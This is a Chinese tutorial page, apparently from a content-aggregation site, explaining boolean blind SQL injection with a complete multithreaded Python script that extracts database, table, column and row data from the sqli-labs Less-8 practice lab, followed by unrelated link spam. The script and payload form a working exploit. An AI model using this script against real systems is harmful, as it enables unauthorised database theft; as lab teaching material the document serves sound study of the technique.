当前位置: 首页 > news >正文

备案 非网站2021十大网络舆情案例

备案 非网站,2021十大网络舆情案例,有做公司网站的吗,python做网站的多吗什么是sql注入? SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(Tr…

什么是sql注入?

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(True/False)或时间延迟等方式提供间接反馈,这类攻击被称为 盲注(Blind SQL Injection)

布尔盲注代码

import requests
import concurrent.futuresdef binary_search_character(url, query, index, low=32, high=127):while low < high:mid = (low + high + 1) // 2payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "res = {"id": payload}r = requests.get(url, params=res)if "You are in.........." in r.text:low = midelse:high = mid - 1return chr(low) if low > 32 else ''def extract_data(url, query, max_length=200):extracted_data = [''] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}for future in concurrent.futures.as_completed(future_to_index):index = future_to_index[future]try:result = future.result()if result:extracted_data[index - 1] = resultprint(f": {''.join(extracted_data).strip()}")except Exception as exc:print(f"Error extracting character {index}: {exc}")return ''.join(extracted_data).strip()if __name__ == '__main__':url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'database_name = extract_data(url, "SELECT database()")print(f"数据库名: {database_name}")table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"table_names = extract_data(url, table_name_query)print(f"表名: {table_names}")table_name = table_names.split(',')[0]column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"column_names = extract_data(url, column_name_query)print(f"列名: {column_names}")column_name = column_names.split(',')[1]data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"extracted_values = extract_data(url, data_query)print(f"数据: {extracted_values}")print(f"数据库名: {database_name}")print(f"表名: {table_names}")print(f"列名: {column_names}")print(f"数据: {extracted_values}")

代码主要内容

(1)二分法查找单个字符

while low < high:mid = (low + high + 1) // 2
  • 采用二分查找方法,缩小可能的 ASCII 码范围。

SQL 注入 Payload:

payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
  • SUBSTRING(({query}),{index},1): 取出 SQL 结果的第 index 个字符。
  • ASCII(...): 获取该字符的 ASCII 码。
  • >= {mid}: 判断该字符的 ASCII 是否大于等于 mid

(2)并发优化数据提取

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
  • 使用 ThreadPoolExecutor 并发执行多个字符的爆破,提高速度。
future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
  • 提交多个任务,每个任务负责获取 SQL 结果中的某个字符。

攻击流程

  1. 获取数据库名
    database_name = extract_data(url, "SELECT database()")
    
  2. 获取表名
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    
  3. 获取列名
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    
  4. 提取数据
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    

代码优化:

1. 并发优化

  • 使用 ThreadPoolExecutor 并发执行查询,同时获取多个字符,提高数据提取效率。
  • 减少等待时间:相比单线程依次查询每个字符,多线程可以同时进行多个查询,加快数据恢复。

2. 自动化数据提取

  • 从数据库名到数据内容,全程自动化
    • 依次提取数据库名、表名、列名、数据,无需手动输入 SQL 语句,提高攻击自动化程度。

效果展示(使用sqli-labs靶场的第8关)

http://www.15wanjia.com/news/633.html

相关文章:

  • 档案信息网站建设遵循什么原则漯河搜狗关键词优化排名软件
  • 南宁seo 网站收录怎么做游戏推广员
  • 三只松鼠网站谁做的app拉新推广代理平台
  • 商城微网站建设多少钱关键词优化怎么优化
  • 西海岸新区城市建设局公示网站seo查询软件
  • 微信网页上的网站怎么做的一键免费生成网页的网站
  • wordpress适配手机端网站网络推广优化
  • 申请个人网站怎么申请潍坊关键词优化软件
  • 网站开发用户功能分析网站seo查询
  • 遵义在线网站建设新手怎么开始做电商
  • 网站 ca证书怎么做管理培训班
  • 织梦物流公司网站模板简洁大气百度公司销售卖什么的
  • 网站建设与管理适合女生学吗软文营销案例
  • 六数字域名做网站好不好长春网站制作推广
  • 成都手机微信网站建设报价厦门seo起梦网络科技
  • 网站首页改版方案seo推广宣传
  • 哪些专门做批发的网站有哪些基础建站如何提升和优化
  • 自己做投票的网站简述网络营销的概念
  • 做百度推广会送网站吗社交媒体营销
  • 六安网站建设网络服务拼多多代运营收费标准
  • 深圳 网站建设培训班优化百度seo
  • 用ps做的网站样图怎么切100种宣传方式
  • 做企业网站大约多少钱中国十大软件外包公司排名
  • 网站建设 海口热点时事新闻
  • wordpress批量给图片加水印网店seo
  • 博彩网站合作建设seo要点
  • notepad做网站企业网站制作流程
  • 广州建站哪个济南兴田德润实惠吗小广告清理
  • 国外有哪些优秀的网站软文代写自助发稿平台
  • 怎么自己编程做网站百度网络科技有限公司